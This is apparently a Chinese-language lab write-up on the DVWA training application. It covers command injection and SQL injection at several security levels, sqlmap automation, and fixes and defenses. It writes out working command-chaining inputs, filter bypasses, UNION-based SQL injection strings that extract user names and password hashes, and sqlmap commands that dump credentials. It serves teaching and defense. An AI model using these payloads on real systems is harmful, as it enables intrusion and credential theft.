原理与内容
1.命令注入原理
以Windows系统的DOS命令为例,DOS命令可以查看本地网络、系统用户、当前目录、字符串查找,也可以复合命令。命令注入就是利用复合命令的特点,通过Web程序,在服务器上,拼接系统命令,实现相关信息、权限的获取。
2.SQL注入原理
(1)什么是SQL注入
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
(2)SQL注入产生的条件
传递给后端的参数是可以控制的
参数内容会被带入到数据库查询
变量未存在过滤或者过滤不严谨
一、命令注入
命令注入是一种常见的安全漏洞,攻击者通过在用户输入中注入恶意命令,从而执行非法操作。要成功利用命令注入漏洞,通常需要满足以下三个条件:
1.用户输入未经过正确的验证和过滤:当应用程序接受用户输入并直接将其传递给执行系统命令的函数时,如果没有对输入进行适当的验证和过滤,就会产生漏洞。攻击者可以通过在输入中注入恶意命令来执行任意代码。
2.用户输入直接嵌入到系统命令中:如果应用程序在构建和执行系统命令时,直接将用户输入作为命令的一部分,而没有经过合适的处理,那么攻击者可以通过注入恶意命令来改变原始命令的行为。
3.缺乏权限限制:如果应用程序在执行系统命令时使用了高权限的用户或进程,那么攻击者可以通过命令注入漏洞来执行危险的操作。最佳实践是将Web应用程序运行的用户和进程限制为最小权限,以减轻潜在攻击的影响。
1、Low等级
源代码
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
利用|ipconfig获取本机的ip地址
命令192.168.241.133 && dir可以获得服务器上的文件列表
127.0.0.1 && net users
可以看到,我们通过&&连接两个命令,达到了注入的目的
127.0.0.1&&whoami
查看系统当前有效用户名
127.0.0.1&&netstat -nr
显示路由信息,路由表
2、medium等级
源代码
查看源码,发现把”&&” 、”;”转为空,即删除。”&&”与” &”的区别:
1.Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
2.Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
命令192.168.241.133 & dir可以获得服务器上的文件列表
利用127.0.0.1 &;& ipconfig获得本机的IP地址
127.0.0.1&;&netstat -nr
3、High等级
查看源码
它包含了一些安全性检查,以防止注入攻击。首先,通过POST方法获取用户输入的目标IP地址。然后,设置一个黑名单,包含一些特殊字符和命令符号,用于替换用户输入中可能存在的非法字符。接下来,根据操作系统类型执行ping命令。如果是Windows系统,则使用ping命令;如果是*nix系统,则使用ping -c 4命令。执行命令后,将结果存储在变量$cmd中。最后,将ping命令的结果输出给用户。命令192.168.0.105 |dir可以获得服务器上的文件列表
4、Impossible等级
查看源码
1.输入未经过滤:用户输入的$target参数没有经过任何过滤和验证,直接传递给操作系统执行ping命令。
2.命令执行方法:使用了shell_exec()函数执行操作系统命令,而不是使用更安全的API。
修复方法:
1.输入过滤和验证:对用户输入进行过滤和验证,确保只接受有效的IP地址。可以使用PHP内置的过滤器函数如filter_var()来验证IP地址的合法性。
2.使用安全的命令执行方法:避免使用shell_exec()等直接执行操作系统命令的函数。可以使用更安全的替代方法,如调用操作系统提供的API或库来执行命令。
防御方法:
1.除了修复方法中的措施外,可以采取以下防御措施:
2.最小权限原则:将Web应用程序运行的用户和进程限制为具有最低权限的用户。这样即使发生命令注入漏洞,攻击者也受到严格的权限限制。
3.输入限制:对用户输入进行限制,只接受符合预期格式的输入。可以使用正则表达式或白名单机制来限制用户只能输入特定的格式和内容。
4.参数化查询:如果需要执行复杂的操作系统命令,应该使用参数化查询。将用户输入作为参数传递给命令,而不是将用户输入直接嵌入命令中。
5.安全编码实践:开发人员应该遵循安全编码实践,对输入进行严格过滤和验证,并使用安全的API和库来执行命令。
二、SQL回显注入
1、Low等级
源码分析
分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。
SQL查询使用原始输入。输入2,查看
判断注入点类型,输入1’or 1=1 #
正常执行,说明是字符型注入。
判断数据库类型, 1' union select version(),@@version_compile_os#
正确执行,说明version()函数被数据库识别并执行,而version()函数是MariaDB(MySQL)特有的函数,因此可以推断后台数据库为MySQL,操作系统为linux。
猜解数据库名,输入1' union select database(),user()#
获得数据库名dvwa。
获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名
1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
其中dvwa和users是上面猜解的数据库名和表名。
显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入1' union select user,password from users #
得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。
2.medium等级
源码分析
可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。
用户id只能选择
通过burpsuit抓包,有两个输出数据。启动burp抓包。
burp抓到的包发生到repeater,把id=1修改为id=1 and 3-1 # 发送。
判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为id=1 union select version(),@@version_compile_os #
3、High等级
源码分析
可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。
先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。
在页面中输入1 ‘ and 1=1 #
显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入1' union select user,password from users # 获得账号密码。
4、Impossible等级
源码分析
可以看到使用了PDO技术,杜绝了SQL注入
查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。
安全问题:
1.SQL 注入攻击:该程序使用用户提供的 $id 参数执行 SQL 查询,如果该参数未经过适当的验证和清理,则可能受到 SQL 注入攻击。攻击者可以通过在输入中注入 SQL 代码来执行恶意操作,例如删除数据或绕过身份验证。
2.CSRF 攻击:该程序没有适当地防御跨站请求伪造(CSRF)攻击。攻击者可以构造一个带有正确 Anti-CSRF token 的请求,并强制用户执行该请求,以执行非授权的操作。
修复、防御方法:
1.防止 SQL 注入攻击:可以使用预处理语句和参数化查询来防止 SQL 注入攻击。在代码中,使用了 PDO 扩展的 prepare() 和 bindParam() 方法来创建和执行安全的 SQL 查询。也可以使用过滤器函数或净化器库来清理输入数据。例如,对于整数类型的输入,可以使用 intval() 函数将输入转换为整数,并确保没有任何不必要的字符。
2.防止 CSRF 攻击:可以使用 Anti-CSRF token 来防止 CSRF 攻击。在代码中,使用了 generateSessionToken() 和 checkToken() 函数来生成和验证 Anti-CSRF token。生成 token 时,将其存储在会话中,并将其添加到表单中。验证 token 时,检查表单提交的 token 是否与存储在会话中的 token 相匹配。如果不匹配,则拒绝请求。
三、sqlmap自动化注入
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
1.low等级
启动burp抓包
使用burp抓到的cookie
启动kali终端输入、运行
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low"
其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点
在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" --dbs --batch
获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" --current-db --batch
获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa --tables --batch
获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa -T users --columns --batch
成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。
sqlmap -u "http://192.168.241.133/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=ukmkc8dhcg62sl8eofoovpcdh7; security=low" -D dvwa -T users -C user,password,user_id --dump
2.medium等级
启动burp抓包
复制抓取到的内容,放入新建文件,1.txt。
kali中运行
sqlmap -r "1.txt" --batch
接下来的步骤,与low一样。
3.high等级
注入点在第二个页面,是跨页的情况。
启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。
kali运行
sqlmap -r “2.txt” --batch --second-ur "http://192.168.241.133/DVWA/vulnerabilities/sqli/"
后面url是第一个页面的链接。
接下来和low一样,例如运行以后命令获得数据库名
sqlmap -r “2.txt” --batch --second-url "http://192.168.241.133/DVWA/vulnerabilities/sqli/session-input.php"
防范措施
SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。
1、分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。
2、参数传值
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。
3、基础过滤与二次过滤
SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
4、使用安全参数
SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。
5、多层验证
现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。
6、数据库信息加密。对数据库信息加密,使得即便攻击者进入了数据库也无法理解信息内容。